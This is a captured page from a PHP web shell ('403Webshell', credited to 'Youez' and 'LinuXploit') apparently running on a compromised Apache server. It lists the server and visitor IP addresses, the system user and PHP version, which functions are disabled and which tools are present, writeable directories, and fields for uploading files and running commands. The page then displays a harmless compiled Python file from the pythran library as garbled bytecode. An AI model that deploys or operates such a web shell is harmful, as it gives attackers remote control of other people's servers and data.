403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.216.115
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pythran/optimizations/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pythran/optimizations/__pycache__/tuple_to_shape.cpython-311.pyc
�

cR�aW���dZddlmZddlmZddlmZddlmZddl	Z
eddedd	edd
eddfZeddd
fZd�Z
d�ZGd�de��ZdS)zH TupleToShap transforms some Tuple node into shape nodes when relevant. �)�Aliases)�MODULES)�Transformation)�pythran_builtin_attrN�numpy�full�ones�zeros�empty�ndarray�reshapec�6�t|tj��S)N)�
isinstance�ast�Tuple)�nodes �F/usr/lib/python3/dist-packages/pythran/optimizations/tuple_to_shape.py�istuplers���d�C�I�&�&�&�c�V�td��}tj||jg��S)N�
make_shape)rr�Call�elts)r�bs  r�toshapers%���\�*�*�A��8�A�t�y�"�%�%�%rc�(��eZdZdZ�fd�Zd�Z�xZS)�TupleToShapea�
    Replace tuple nodes by shape when relevant

    >>> import gast as ast
    >>> from pythran import passmanager, backend
    >>> node = ast.parse("def foo(n): import numpy; return numpy.ones((n,4))")
    >>> pm = passmanager.PassManager("test")
    >>> _, node = pm.apply(TupleToShape, node)
    >>> print(pm.dump(backend.Python, node))
    def foo(n):
        import numpy
        return numpy.ones(builtins.pythran.make_shape(n, 4))
    c�p��d|_tt|���t��dS)NF)�update�superr�__init__r)�self�	__class__s �rr!zTupleToShape.__init__*s.������
�l�D�!�!�*�*�7�3�3�3�3�3rc�4�|j�|jd��}|��|�t��rDt|jd��r)d|_t|jd��|jd<n�|�t��rjt|j��dkrRd|_ttj|jdd�tj
������g|jdd�<|�|��S)NrT��)�aliases�get�func�issubset�patternsr�argsrr�reshape_patterns�lenr�List�Load�
generic_visit)r"r�func_aliasess   r�
visit_CallzTupleToShape.visit_Call.s����|�'�'��	�4�8�8���#��$�$�X�.�.�
D��4�9�Q�<�(�(�9�"&�D�K�#*�4�9�Q�<�#8�#8�D�I�a�L���&�&�'7�8�8�
D��t�y�>�>�A�%�%�"&�D�K�%,�S�X�d�i����m�69�h�j�j�.B�.B�&C�&C�%D�D�I�a�b�b�M��!�!�$�'�'�'r)�__name__�
__module__�__qualname__�__doc__r!r3�
__classcell__)r#s@rrrsQ���������4�4�4�4�4�(�(�(�(�(�(�(rr)r7�pythran.analysesr�pythran.tablesr�pythran.passmanagerr�
pythran.utilsr�gastrr+r-rrr�rr�<module>r?s��N�N�$�$�$�$�$�$�"�"�"�"�"�"�.�.�.�.�.�.�.�.�.�.�.�.������G��V�$��G��V�$��G��W�%��G��W�%���
�7�#�I�.�y�9�:��'�'�'�&�&�&�
(�(�(�(�(�>�(�(�(�(�(r

Youez - 2016 - github.com/yon3zu
LinuXploit